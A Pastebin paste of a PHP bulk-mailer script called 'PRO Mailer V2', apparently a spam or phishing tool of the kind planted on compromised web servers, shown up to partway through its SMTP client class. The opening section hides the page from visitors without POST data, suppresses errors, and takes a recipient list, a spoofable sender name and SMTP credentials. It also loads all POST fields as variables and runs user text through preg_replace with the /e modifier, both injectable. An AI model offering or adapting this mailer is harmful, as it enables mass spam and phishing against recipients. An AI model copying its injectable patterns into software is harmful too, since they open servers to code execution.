Guest User

Untitled

a guest
Jul 25th, 2018
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 89.94 KB | None | 0 0
  1. <?
  2. // @~ PRO Mailer V2
  3. if(empty($_POST)){
  4. header('location:../../');
  5. }
  6. error_reporting(0);
  7. function query_str($params){
  8. $str = '';
  9. foreach ($params as $key => $value) {
  10. $str .= (strlen($str) < 1) ? '' : '&';
  11. $str .= $key . '=' . rawurlencode($value);
  12. }
  13. return ($str);
  14. }
  15. function lrtrim($string){
  16. return stripslashes(ltrim(rtrim($string)));
  17. }
  18. if(isset($_POST['action'] ) ){
  19.  
  20. $b = query_str($_POST);
  21. parse_str($b);
  22. $sslclick=lrtrim($sslclick);
  23. $action=lrtrim($action);
  24. $message=lrtrim($message);
  25. $emaillist=lrtrim($emaillist);
  26. $from=lrtrim($from);
  27. $reconnect=lrtrim($reconnect);
  28. $epriority=lrtrim($epriority);
  29. $my_smtp=lrtrim($my_smtp);
  30. $ssl_port=lrtrim($ssl_port);
  31. $smtp_username=lrtrim($smtp_username);
  32. $smtp_password=lrtrim($smtp_password);
  33. $replyto=lrtrim($replyto);
  34. $subject_base=lrtrim($subject);
  35. $realname_base=lrtrim($realname);
  36. $file_name=$_FILES['file']['name'];
  37. $file=$_FILES['file']['tmp_name'];
  38. $urlz=lrtrim($urlz);
  39. $contenttype=lrtrim($contenttype);
  40. $encode_text=$_POST['encode'];
  41.  
  42.  
  43. $message = urlencode($message);
  44. $message = ereg_replace("%5C%22", "%22", $message);
  45. $message = urldecode($message);
  46. $message = stripslashes($message);
  47. $subject = stripslashes($subject);
  48. if ($encode_text == "yes") {
  49. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  50. $subject = str_replace(' ', '_', $subject);
  51. $subject = "=?UTF-8?Q?$subject?=";
  52. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  53. $realname = str_replace(' ', '_', $realname);
  54. $realname = "=?UTF-8?Q?$realname?=";
  55. }
  56. }
  57. ?>
  58. <?
  59.  
  60. if ($action){
  61. if (!$from && !$subject && !$message && !$emaillist){
  62. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  63. die(); }
  64.  
  65. class SMTP
  66. {
  67. /**
  68. * SMTP server port
  69. * @var int
  70. */
  71. var $SMTP_PORT = 25;
  72.  
  73. /**
  74. * SMTP reply line ending
  75. * @var string
  76. */
  77. var $CRLF = "\r\n";
  78.  
  79. /**
  80. * Sets whether debugging is turned on
  81. * @var bool
  82. */
  83. var $do_debug; # the level of debug to perform
  84.  
  85. /**
  86. * Sets VERP use on/off (default is off)
  87. * @var bool
  88. */
  89. var $do_verp = false;
  90.  
  91. /**#@+
  92. * @access private
  93. */
  94. var $smtp_conn; # the socket to the server
  95. var $error; # error if any on the last call
  96. var $helo_rply; # the reply the server sent to us for HELO
  97. /**#@-*/
  98.  
  99. /**
  100. * Initialize the class so that the data is in a known state.
  101. * @access public
  102. * @return void
  103. */
  104. function SMTP() {
  105. $this->smtp_conn = 0;
  106. $this->error = null;
  107. $this->helo_rply = null;
  108.  
  109. $this->do_debug = 0;
  110. }
  111.  
  112. /*************************************************************
  113. * CONNECTION FUNCTIONS *
  114. ***********************************************************/
  115.  
  116. /**
  117. * Connect to the server specified on the port specified.
  118. * If the port is not specified use the default SMTP_PORT.
  119. * If tval is specified then a connection will try and be
  120. * established with the server for that number of seconds.
  121. * If tval is not specified the default is 30 seconds to
  122. * try on the connection.
  123. *
  124. * SMTP CODE SUCCESS: 220
  125. * SMTP CODE FAILURE: 421
  126. * @access public
  127. * @return bool
  128. */
  129. function Connect($host,$port=0,$tval=30) {
  130. # set the error val to null so there is no confusion
  131. $this->error = null;
  132.  
  133. # make sure we are __not__ connected
  134. if($this->connected()) {
  135. # ok we are connected! what should we do?
  136. # for now we will just give an error saying we
  137. # are already connected
  138. $this->error = array("error" => "Already connected to a server");
  139. return false;
  140. }
  141.  
  142. if(empty($port)) {
  143. $port = $this->SMTP_PORT;
  144. }
  145.  
  146. #connect to the smtp server
  147. $this->smtp_conn = fsockopen($host, # the host of the server
  148. $port, # the port to use
  149. $errno, # error number if any
  150. $errstr, # error message if any
  151. $tval); # give up after ? secs
  152. # verify we connected properly
  153. if(empty($this->smtp_conn)) {
  154. $this->error = array("error" => "Failed to connect to server",
  155. "errno" => $errno,
  156. "errstr" => $errstr);
  157. if($this->do_debug >= 1) {
  158. echo "SMTP -> ERROR: " . $this->error["error"] .
  159. ": $errstr ($errno)" . $this->CRLF;
  160. }
  161. return false;
  162. }
  163.  
  164. # sometimes the SMTP server takes a little longer to respond
  165. # so we will give it a longer timeout for the first read
  166. // Windows still does not have support for this timeout function
  167. if(substr(PHP_OS, 0, 3) != "WIN")
  168. socket_set_timeout($this->smtp_conn, $tval, 0);
  169.  
  170. # get any announcement stuff
  171. $announce = $this->get_lines();
  172.  
  173. # set the timeout of any socket functions at 1/10 of a second
  174. //if(function_exists("socket_set_timeout"))
  175. // socket_set_timeout($this->smtp_conn, 0, 100000);
  176.  
  177. if($this->do_debug >= 2) {
  178. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  179. }
  180.  
  181. return true;
  182. }
  183.  
  184. /**
  185. * Performs SMTP authentication. Must be run after running the
  186. * Hello() method. Returns true if successfully authenticated.
  187. * @access public
  188. * @return bool
  189. */
  190. function Authenticate($username, $password) {
  191. // Start authentication
  192. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  193.  
  194. $rply = $this->get_lines();
  195. $code = substr($rply,0,3);
  196.  
  197. if($code != 334) {
  198. $this->error =
  199. array("error" => "AUTH not accepted from server",
  200. "smtp_code" => $code,
  201. "smtp_msg" => substr($rply,4));
  202. if($this->do_debug >= 1) {
  203. echo "SMTP -> ERROR: " . $this->error["error"] .
  204. ": " . $rply . $this->CRLF;
  205. }
  206. return false;
  207. }
  208.  
  209. // Send encoded username
  210. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  211.  
  212. $rply = $this->get_lines();
  213. $code = substr($rply,0,3);
  214.  
  215. if($code != 334) {
  216. $this->error =
  217. array("error" => "Username not accepted from server",
  218. "smtp_code" => $code,
  219. "smtp_msg" => substr($rply,4));
  220. if($this->do_debug >= 1) {
  221. echo "SMTP -> ERROR: " . $this->error["error"] .
  222. ": " . $rply . $this->CRLF;
  223. }
  224. return false;
  225. }
  226.  
  227. // Send encoded password
  228. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  229.  
  230. $rply = $this->get_lines();
  231. $code = substr($rply,0,3);
  232.  
  233. if($code != 235) {
  234. $this->error =
  235. array("error" => "Password not accepted from server",
  236. "smtp_code" => $code,
  237. "smtp_msg" => substr($rply,4));
  238. if($this->do_debug >= 1) {
  239. echo "SMTP -> ERROR: " . $this->error["error"] .
  240. ": " . $rply . $this->CRLF;
  241. }
  242. return false;
  243. }
  244.  
  245. return true;
  246. }
  247.  
  248. /**
  249. * Returns true if connected to a server otherwise false
  250. * @access private
  251. * @return bool
  252. */
  253. function Connected() {
  254. if(!empty($this->smtp_conn)) {
  255. $sock_status = socket_get_status($this->smtp_conn);
  256. if($sock_status["eof"]) {
  257. # hmm this is an odd situation... the socket is
  258. # valid but we are not connected anymore
  259. if($this->do_debug >= 1) {
  260. echo "SMTP -> NOTICE:" . $this->CRLF .
  261. "EOF caught while checking if connected";
  262. }
  263. $this->Close();
  264. return false;
  265. }
  266. return true; # everything looks good
  267. }
  268. return false;
  269. }
  270.  
  271. /**
  272. * Closes the socket and cleans up the state of the class.
  273. * It is not considered good to use this function without
  274. * first trying to use QUIT.
  275. * @access public
  276. * @return void
  277. */
  278. function Close() {
  279. $this->error = null; # so there is no confusion
  280. $this->helo_rply = null;
  281. if(!empty($this->smtp_conn)) {
  282. # close the connection and cleanup
  283. fclose($this->smtp_conn);
  284. $this->smtp_conn = 0;
  285. }
  286. }
  287.  
  288. /***************************************************************
  289. * SMTP COMMANDS *
  290. *************************************************************/
  291.  
  292. /**
  293. * Issues a data command and sends the msg_data to the server
  294. * finializing the mail transaction. $msg_data is the message
  295. * that is to be send with the headers. Each header needs to be
  296. * on a single line followed by a <CRLF> with the message headers
  297. * and the message body being seperated by and additional <CRLF>.
  298. *
  299. * Implements rfc 821: DATA <CRLF>
  300. *
  301. * SMTP CODE INTERMEDIATE: 354
  302. * [data]
  303. * <CRLF>.<CRLF>
  304. * SMTP CODE SUCCESS: 250
  305. * SMTP CODE FAILURE: 552,554,451,452
  306. * SMTP CODE FAILURE: 451,554
  307. * SMTP CODE ERROR : 500,501,503,421
  308. * @access public
  309. * @return bool
  310. */
  311. function Data($msg_data) {
  312. $this->error = null; # so no confusion is caused
  313.  
  314. if(!$this->connected()) {
  315. $this->error = array(
  316. "error" => "Called Data() without being connected");
  317. return false;
  318. }
  319.  
  320. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  321.  
  322. $rply = $this->get_lines();
  323. $code = substr($rply,0,3);
  324.  
  325. if($this->do_debug >= 2) {
  326. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  327. }
  328.  
  329. if($code != 354) {
  330. $this->error =
  331. array("error" => "DATA command not accepted from server",
  332. "smtp_code" => $code,
  333. "smtp_msg" => substr($rply,4));
  334. if($this->do_debug >= 1) {
  335. echo "SMTP -> ERROR: " . $this->error["error"] .
  336. ": " . $rply . $this->CRLF;
  337. }
  338. return false;
  339. }
  340.  
  341. # the server is ready to accept data!
  342. # according to rfc 821 we should not send more than 1000
  343. # including the CRLF
  344. # characters on a single line so we will break the data up
  345. # into lines by \r and/or \n then if needed we will break
  346. # each of those into smaller lines to fit within the limit.
  347. # in addition we will be looking for lines that start with
  348. # a period '.' and append and additional period '.' to that
  349. # line. NOTE: this does not count towards are limit.
  350.  
  351. # normalize the line breaks so we know the explode works
  352. $msg_data = str_replace("\r\n","\n",$msg_data);
  353. $msg_data = str_replace("\r","\n",$msg_data);
  354. $lines = explode("\n",$msg_data);
  355.  
  356. # we need to find a good way to determine is headers are
  357. # in the msg_data or if it is a straight msg body
  358. # currently I am assuming rfc 822 definitions of msg headers
  359. # and if the first field of the first line (':' sperated)
  360. # does not contain a space then it _should_ be a header
  361. # and we can process all lines before a blank "" line as
  362. # headers.
  363. $field = substr($lines[0],0,strpos($lines[0],":"));
  364. $in_headers = false;
  365. if(!empty($field) && !strstr($field," ")) {
  366. $in_headers = true;
  367. }
  368.  
  369. $max_line_length = 998; # used below; set here for ease in change
  370.  
  371. while(list(,$line) = @each($lines)) {
  372. $lines_out = null;
  373. if($line == "" && $in_headers) {
  374. $in_headers = false;
  375. }
  376. # ok we need to break this line up into several
  377. # smaller lines
  378. while(strlen($line) > $max_line_length) {
  379. $pos = strrpos(substr($line,0,$max_line_length)," ");
  380.  
  381. # Patch to fix DOS attack
  382. if(!$pos) {
  383. $pos = $max_line_length - 1;
  384. }
  385.  
  386. $lines_out[] = substr($line,0,$pos);
  387. $line = substr($line,$pos + 1);
  388. # if we are processing headers we need to
  389. # add a LWSP-char to the front of the new line
  390. # rfc 822 on long msg headers
  391. if($in_headers) {
  392. $line = "\t" . $line;
  393. }
  394. }
  395. $lines_out[] = $line;
  396.  
  397. # now send the lines to the server
  398. while(list(,$line_out) = @each($lines_out)) {
  399. if(strlen($line_out) > 0)
  400. {
  401. if(substr($line_out, 0, 1) == ".") {
  402. $line_out = "." . $line_out;
  403. }
  404. }
  405. fputs($this->smtp_conn,$line_out . $this->CRLF);
  406. }
  407. }
  408.  
  409. # ok all the message data has been sent so lets get this
  410. # over with aleady
  411. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  412.  
  413. $rply = $this->get_lines();
  414. $code = substr($rply,0,3);
  415.  
  416. if($this->do_debug >= 2) {
  417. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  418. }
  419.  
  420. if($code != 250) {
  421. $this->error =
  422. array("error" => "DATA not accepted from server",
  423. "smtp_code" => $code,
  424. "smtp_msg" => substr($rply,4));
  425. if($this->do_debug >= 1) {
  426. echo "SMTP -> ERROR: " . $this->error["error"] .
  427. ": " . $rply . $this->CRLF;
  428. }
  429. return false;
  430. }
  431. return true;
  432. }
  433.  
  434. /**
  435. * Expand takes the name and asks the server to list all the
  436. * people who are members of the _list_. Expand will return
  437. * back and array of the result or false if an error occurs.
  438. * Each value in the array returned has the format of:
  439. * [ <full-name> <sp> ] <path>
  440. * The definition of <path> is defined in rfc 821
  441. *
  442. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  443. *
  444. * SMTP CODE SUCCESS: 250
  445. * SMTP CODE FAILURE: 550
  446. * SMTP CODE ERROR : 500,501,502,504,421
  447. * @access public
  448. * @return string array
  449. */
  450. function Expand($name) {
  451. $this->error = null; # so no confusion is caused
  452.  
  453. if(!$this->connected()) {
  454. $this->error = array(
  455. "error" => "Called Expand() without being connected");
  456. return false;
  457. }
  458.  
  459. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  460.  
  461. $rply = $this->get_lines();
  462. $code = substr($rply,0,3);
  463.  
  464. if($this->do_debug >= 2) {
  465. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  466. }
  467.  
  468. if($code != 250) {
  469. $this->error =
  470. array("error" => "EXPN not accepted from server",
  471. "smtp_code" => $code,
  472. "smtp_msg" => substr($rply,4));
  473. if($this->do_debug >= 1) {
  474. echo "SMTP -> ERROR: " . $this->error["error"] .
  475. ": " . $rply . $this->CRLF;
  476. }
  477. return false;
  478. }
  479.  
  480. # parse the reply and place in our array to return to user
  481. $entries = explode($this->CRLF,$rply);
  482. while(list(,$l) = @each($entries)) {
  483. $list[] = substr($l,4);
  484. }
  485.  
  486. return $list;
  487. }
  488.  
  489. /**
  490. * Sends the HELO command to the smtp server.
  491. * This makes sure that we and the server are in
  492. * the same known state.
  493. *
  494. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  495. *
  496. * SMTP CODE SUCCESS: 250
  497. * SMTP CODE ERROR : 500, 501, 504, 421
  498. * @access public
  499. * @return bool
  500. */
  501. function Hello($host="") {
  502. $this->error = null; # so no confusion is caused
  503.  
  504. if(!$this->connected()) {
  505. $this->error = array(
  506. "error" => "Called Hello() without being connected");
  507. return false;
  508. }
  509.  
  510. # if a hostname for the HELO was not specified determine
  511. # a suitable one to send
  512. if(empty($host)) {
  513. # we need to determine some sort of appopiate default
  514. # to send to the server
  515. $host = "localhost";
  516. }
  517.  
  518. // Send extended hello first (RFC 2821)
  519. if(!$this->SendHello("EHLO", $host))
  520. {
  521. if(!$this->SendHello("HELO", $host))
  522. return false;
  523. }
  524.  
  525. return true;
  526. }
  527.  
  528. /**
  529. * Sends a HELO/EHLO command.
  530. * @access private
  531. * @return bool
  532. */
  533. function SendHello($hello, $host) {
  534. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  535.  
  536. $rply = $this->get_lines();
  537. $code = substr($rply,0,3);
  538.  
  539. if($this->do_debug >= 2) {
  540. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  541. }
  542.  
  543. if($code != 250) {
  544. $this->error =
  545. array("error" => $hello . " not accepted from server",
  546. "smtp_code" => $code,
  547. "smtp_msg" => substr($rply,4));
  548. if($this->do_debug >= 1) {
  549. echo "SMTP -> ERROR: " . $this->error["error"] .
  550. ": " . $rply . $this->CRLF;
  551. }
  552. return false;
  553. }
  554.  
  555. $this->helo_rply = $rply;
  556.  
  557. return true;
  558. }
  559.  
  560. /**
  561. * Gets help information on the keyword specified. If the keyword
  562. * is not specified then returns generic help, ussually contianing
  563. * A list of keywords that help is available on. This function
  564. * returns the results back to the user. It is up to the user to
  565. * handle the returned data. If an error occurs then false is
  566. * returned with $this->error set appropiately.
  567. *
  568. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  569. *
  570. * SMTP CODE SUCCESS: 211,214
  571. * SMTP CODE ERROR : 500,501,502,504,421
  572. * @access public
  573. * @return string
  574. */
  575. function Help($keyword="") {
  576. $this->error = null; # to avoid confusion
  577.  
  578. if(!$this->connected()) {
  579. $this->error = array(
  580. "error" => "Called Help() without being connected");
  581. return false;
  582. }
  583.  
  584. $extra = "";
  585. if(!empty($keyword)) {
  586. $extra = " " . $keyword;
  587. }
  588.  
  589. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  590.  
  591. $rply = $this->get_lines();
  592. $code = substr($rply,0,3);
  593.  
  594. if($this->do_debug >= 2) {
  595. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  596. }
  597.  
  598. if($code != 211 && $code != 214) {
  599. $this->error =
  600. array("error" => "HELP not accepted from server",
  601. "smtp_code" => $code,
  602. "smtp_msg" => substr($rply,4));
  603. if($this->do_debug >= 1) {
  604. echo "SMTP -> ERROR: " . $this->error["error"] .
  605. ": " . $rply . $this->CRLF;
  606. }
  607. return false;
  608. }
  609.  
  610. return $rply;
  611. }
  612.  
  613. /**
  614. * Starts a mail transaction from the email address specified in
  615. * $from. Returns true if successful or false otherwise. If True
  616. * the mail transaction is started and then one or more Recipient
  617. * commands may be called followed by a Data command.
  618. *
  619. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  620. *
  621. * SMTP CODE SUCCESS: 250
  622. * SMTP CODE SUCCESS: 552,451,452
  623. * SMTP CODE SUCCESS: 500,501,421
  624. * @access public
  625. * @return bool
  626. */
  627. function Mail($from) {
  628. $this->error = null; # so no confusion is caused
  629.  
  630. if(!$this->connected()) {
  631. $this->error = array(
  632. "error" => "Called Mail() without being connected");
  633. return false;
  634. }
  635.  
  636. $useVerp = ($this->do_verp ? "XVERP" : "");
  637. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  638.  
  639. $rply = $this->get_lines();
  640. $code = substr($rply,0,3);
  641.  
  642. if($this->do_debug >= 2) {
  643. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  644. }
  645.  
  646. if($code != 250) {
  647. $this->error =
  648. array("error" => "MAIL not accepted from server",
  649. "smtp_code" => $code,
  650. "smtp_msg" => substr($rply,4));
  651. if($this->do_debug >= 1) {
  652. echo "SMTP -> ERROR: " . $this->error["error"] .
  653. ": " . $rply . $this->CRLF;
  654. }
  655. return false;
  656. }
  657. return true;
  658. }
  659.  
  660. /**
  661. * Sends the command NOOP to the SMTP server.
  662. *
  663. * Implements from rfc 821: NOOP <CRLF>
  664. *
  665. * SMTP CODE SUCCESS: 250
  666. * SMTP CODE ERROR : 500, 421
  667. * @access public
  668. * @return bool
  669. */
  670. function Noop() {
  671. $this->error = null; # so no confusion is caused
  672.  
  673. if(!$this->connected()) {
  674. $this->error = array(
  675. "error" => "Called Noop() without being connected");
  676. return false;
  677. }
  678.  
  679. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  680.  
  681. $rply = $this->get_lines();
  682. $code = substr($rply,0,3);
  683.  
  684. if($this->do_debug >= 2) {
  685. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  686. }
  687.  
  688. if($code != 250) {
  689. $this->error =
  690. array("error" => "NOOP not accepted from server",
  691. "smtp_code" => $code,
  692. "smtp_msg" => substr($rply,4));
  693. if($this->do_debug >= 1) {
  694. echo "SMTP -> ERROR: " . $this->error["error"] .
  695. ": " . $rply . $this->CRLF;
  696. }
  697. return false;
  698. }
  699. return true;
  700. }
  701.  
  702. /**
  703. * Sends the quit command to the server and then closes the socket
  704. * if there is no error or the $close_on_error argument is true.
  705. *
  706. * Implements from rfc 821: QUIT <CRLF>
  707. *
  708. * SMTP CODE SUCCESS: 221
  709. * SMTP CODE ERROR : 500
  710. * @access public
  711. * @return bool
  712. */
  713. function Quit($close_on_error=true) {
  714. $this->error = null; # so there is no confusion
  715.  
  716. if(!$this->connected()) {
  717. $this->error = array(
  718. "error" => "Called Quit() without being connected");
  719. return false;
  720. }
  721.  
  722. # send the quit command to the server
  723. fputs($this->smtp_conn,"quit" . $this->CRLF);
  724.  
  725. # get any good-bye messages
  726. $byemsg = $this->get_lines();
  727.  
  728. if($this->do_debug >= 2) {
  729. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  730. }
  731.  
  732. $rval = true;
  733. $e = null;
  734.  
  735. $code = substr($byemsg,0,3);
  736. if($code != 221) {
  737. # use e as a tmp var cause Close will overwrite $this->error
  738. $e = array("error" => "SMTP server rejected quit command",
  739. "smtp_code" => $code,
  740. "smtp_rply" => substr($byemsg,4));
  741. $rval = false;
  742. if($this->do_debug >= 1) {
  743. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  744. $byemsg . $this->CRLF;
  745. }
  746. }
  747.  
  748. if(empty($e) || $close_on_error) {
  749. $this->Close();
  750. }
  751.  
  752. return $rval;
  753. }
  754.  
  755. /**
  756. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  757. * Returns true if the recipient was accepted false if it was rejected.
  758. *
  759. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  760. *
  761. * SMTP CODE SUCCESS: 250,251
  762. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  763. * SMTP CODE ERROR : 500,501,503,421
  764. * @access public
  765. * @return bool
  766. */
  767. function Recipient($to) {
  768. $this->error = null; # so no confusion is caused
  769.  
  770. if(!$this->connected()) {
  771. $this->error = array(
  772. "error" => "Called Recipient() without being connected");
  773. return false;
  774. }
  775.  
  776. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  777.  
  778. $rply = $this->get_lines();
  779. $code = substr($rply,0,3);
  780.  
  781. if($this->do_debug >= 2) {
  782. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  783. }
  784.  
  785. if($code != 250 && $code != 251) {
  786. $this->error =
  787. array("error" => "RCPT not accepted from server",
  788. "smtp_code" => $code,
  789. "smtp_msg" => substr($rply,4));
  790. if($this->do_debug >= 1) {
  791. echo "SMTP -> ERROR: " . $this->error["error"] .
  792. ": " . $rply . $this->CRLF;
  793. }
  794. return false;
  795. }
  796. return true;
  797. }
  798.  
  799. /**
  800. * Sends the RSET command to abort and transaction that is
  801. * currently in progress. Returns true if successful false
  802. * otherwise.
  803. *
  804. * Implements rfc 821: RSET <CRLF>
  805. *
  806. * SMTP CODE SUCCESS: 250
  807. * SMTP CODE ERROR : 500,501,504,421
  808. * @access public
  809. * @return bool
  810. */
  811. function Reset() {
  812. $this->error = null; # so no confusion is caused
  813.  
  814. if(!$this->connected()) {
  815. $this->error = array(
  816. "error" => "Called Reset() without being connected");
  817. return false;
  818. }
  819.  
  820. fputs($this->smtp_conn,"RSET" . $this->CRLF);
  821.  
  822. $rply = $this->get_lines();
  823. $code = substr($rply,0,3);
  824.  
  825. if($this->do_debug >= 2) {
  826. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  827. }
  828.  
  829. if($code != 250) {
  830. $this->error =
  831. array("error" => "RSET failed",
  832. "smtp_code" => $code,
  833. "smtp_msg" => substr($rply,4));
  834. if($this->do_debug >= 1) {
  835. echo "SMTP -> ERROR: " . $this->error["error"] .
  836. ": " . $rply . $this->CRLF;
  837. }
  838. return false;
  839. }
  840.  
  841. return true;
  842. }
  843.  
  844. /**
  845. * Starts a mail transaction from the email address specified in
  846. * $from. Returns true if successful or false otherwise. If True
  847. * the mail transaction is started and then one or more Recipient
  848. * commands may be called followed by a Data command. This command
  849. * will send the message to the users terminal if they are logged
  850. * in.
  851. *
  852. * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
  853. *
  854. * SMTP CODE SUCCESS: 250
  855. * SMTP CODE SUCCESS: 552,451,452
  856. * SMTP CODE SUCCESS: 500,501,502,421
  857. * @access public
  858. * @return bool
  859. */
  860. function Send($from) {
  861. $this->error = null; # so no confusion is caused
  862.  
  863. if(!$this->connected()) {
  864. $this->error = array(
  865. "error" => "Called Send() without being connected");
  866. return false;
  867. }
  868.  
  869. fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
  870.  
  871. $rply = $this->get_lines();
  872. $code = substr($rply,0,3);
  873.  
  874. if($this->do_debug >= 2) {
  875. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  876. }
  877.  
  878. if($code != 250) {
  879. $this->error =
  880. array("error" => "SEND not accepted from server",
  881. "smtp_code" => $code,
  882. "smtp_msg" => substr($rply,4));
  883. if($this->do_debug >= 1) {
  884. echo "SMTP -> ERROR: " . $this->error["error"] .
  885. ": " . $rply . $this->CRLF;
  886. }
  887. return false;
  888. }
  889. return true;
  890. }
  891.  
  892. /**
  893. * Starts a mail transaction from the email address specified in
  894. * $from. Returns true if successful or false otherwise. If True
  895. * the mail transaction is started and then one or more Recipient
  896. * commands may be called followed by a Data command. This command
  897. * will send the message to the users terminal if they are logged
  898. * in and send them an email.
  899. *
  900. * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
  901. *
  902. * SMTP CODE SUCCESS: 250
  903. * SMTP CODE SUCCESS: 552,451,452
  904. * SMTP CODE SUCCESS: 500,501,502,421
  905. * @access public
  906. * @return bool
  907. */
  908. function SendAndMail($from) {
  909. $this->error = null; # so no confusion is caused
  910.  
  911. if(!$this->connected()) {
  912. $this->error = array(
  913. "error" => "Called SendAndMail() without being connected");
  914. return false;
  915. }
  916.  
  917. fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
  918.  
  919. $rply = $this->get_lines();
  920. $code = substr($rply,0,3);
  921.  
  922. if($this->do_debug >= 2) {
  923. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  924. }
  925.  
  926. if($code != 250) {
  927. $this->error =
  928. array("error" => "SAML not accepted from server",
  929. "smtp_code" => $code,
  930. "smtp_msg" => substr($rply,4));
  931. if($this->do_debug >= 1) {
  932. echo "SMTP -> ERROR: " . $this->error["error"] .
  933. ": " . $rply . $this->CRLF;
  934. }
  935. return false;
  936. }
  937. return true;
  938. }
  939.  
  940. /**
  941. * Starts a mail transaction from the email address specified in
  942. * $from. Returns true if successful or false otherwise. If True
  943. * the mail transaction is started and then one or more Recipient
  944. * commands may be called followed by a Data command. This command
  945. * will send the message to the users terminal if they are logged
  946. * in or mail it to them if they are not.
  947. *
  948. * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
  949. *
  950. * SMTP CODE SUCCESS: 250
  951. * SMTP CODE SUCCESS: 552,451,452
  952. * SMTP CODE SUCCESS: 500,501,502,421
  953. * @access public
  954. * @return bool
  955. */
  956. function SendOrMail($from) {
  957. $this->error = null; # so no confusion is caused
  958.  
  959. if(!$this->connected()) {
  960. $this->error = array(
  961. "error" => "Called SendOrMail() without being connected");
  962. return false;
  963. }
  964.  
  965. fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
  966.  
  967. $rply = $this->get_lines();
  968. $code = substr($rply,0,3);
  969.  
  970. if($this->do_debug >= 2) {
  971. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  972. }
  973.  
  974. if($code != 250) {
  975. $this->error =
  976. array("error" => "SOML not accepted from server",
  977. "smtp_code" => $code,
  978. "smtp_msg" => substr($rply,4));
  979. if($this->do_debug >= 1) {
  980. echo "SMTP -> ERROR: " . $this->error["error"] .
  981. ": " . $rply . $this->CRLF;
  982. }
  983. return false;
  984. }
  985. return true;
  986. }
  987.  
  988. /**
  989. * This is an optional command for SMTP that this class does not
  990. * support. This method is here to make the RFC821 Definition
  991. * complete for this class and __may__ be implimented in the future
  992. *
  993. * Implements from rfc 821: TURN <CRLF>
  994. *
  995. * SMTP CODE SUCCESS: 250
  996. * SMTP CODE FAILURE: 502
  997. * SMTP CODE ERROR : 500, 503
  998. * @access public
  999. * @return bool
  1000. */
  1001. function Turn() {
  1002. $this->error = array("error" => "This method, TURN, of the SMTP ".
  1003. "is not implemented");
  1004. if($this->do_debug >= 1) {
  1005. echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
  1006. }
  1007. return false;
  1008. }
  1009.  
  1010. /**
  1011. * Verifies that the name is recognized by the server.
  1012. * Returns false if the name could not be verified otherwise
  1013. * the response from the server is returned.
  1014. *
  1015. * Implements rfc 821: VRFY <SP> <string> <CRLF>
  1016. *
  1017. * SMTP CODE SUCCESS: 250,251
  1018. * SMTP CODE FAILURE: 550,551,553
  1019. * SMTP CODE ERROR : 500,501,502,421
  1020. * @access public
  1021. * @return int
  1022. */
  1023. function Verify($name) {
  1024. $this->error = null; # so no confusion is caused
  1025.  
  1026. if(!$this->connected()) {
  1027. $this->error = array(
  1028. "error" => "Called Verify() without being connected");
  1029. return false;
  1030. }
  1031.  
  1032. fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
  1033.  
  1034. $rply = $this->get_lines();
  1035. $code = substr($rply,0,3);
  1036.  
  1037. if($this->do_debug >= 2) {
  1038. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  1039. }
  1040.  
  1041. if($code != 250 && $code != 251) {
  1042. $this->error =
  1043. array("error" => "VRFY failed on name '$name'",
  1044. "smtp_code" => $code,
  1045. "smtp_msg" => substr($rply,4));
  1046. if($this->do_debug >= 1) {
  1047. echo "SMTP -> ERROR: " . $this->error["error"] .
  1048. ": " . $rply . $this->CRLF;
  1049. }
  1050. return false;
  1051. }
  1052. return $rply;
  1053. }
  1054.  
  1055. /*******************************************************************
  1056. * INTERNAL FUNCTIONS *
  1057. ******************************************************************/
  1058.  
  1059. /**
  1060. * Read in as many lines as possible
  1061. * either before eof or socket timeout occurs on the operation.
  1062. * With SMTP we can tell if we have more lines to read if the
  1063. * 4th character is '-' symbol. If it is a space then we don't
  1064. * need to read anything else.
  1065. * @access private
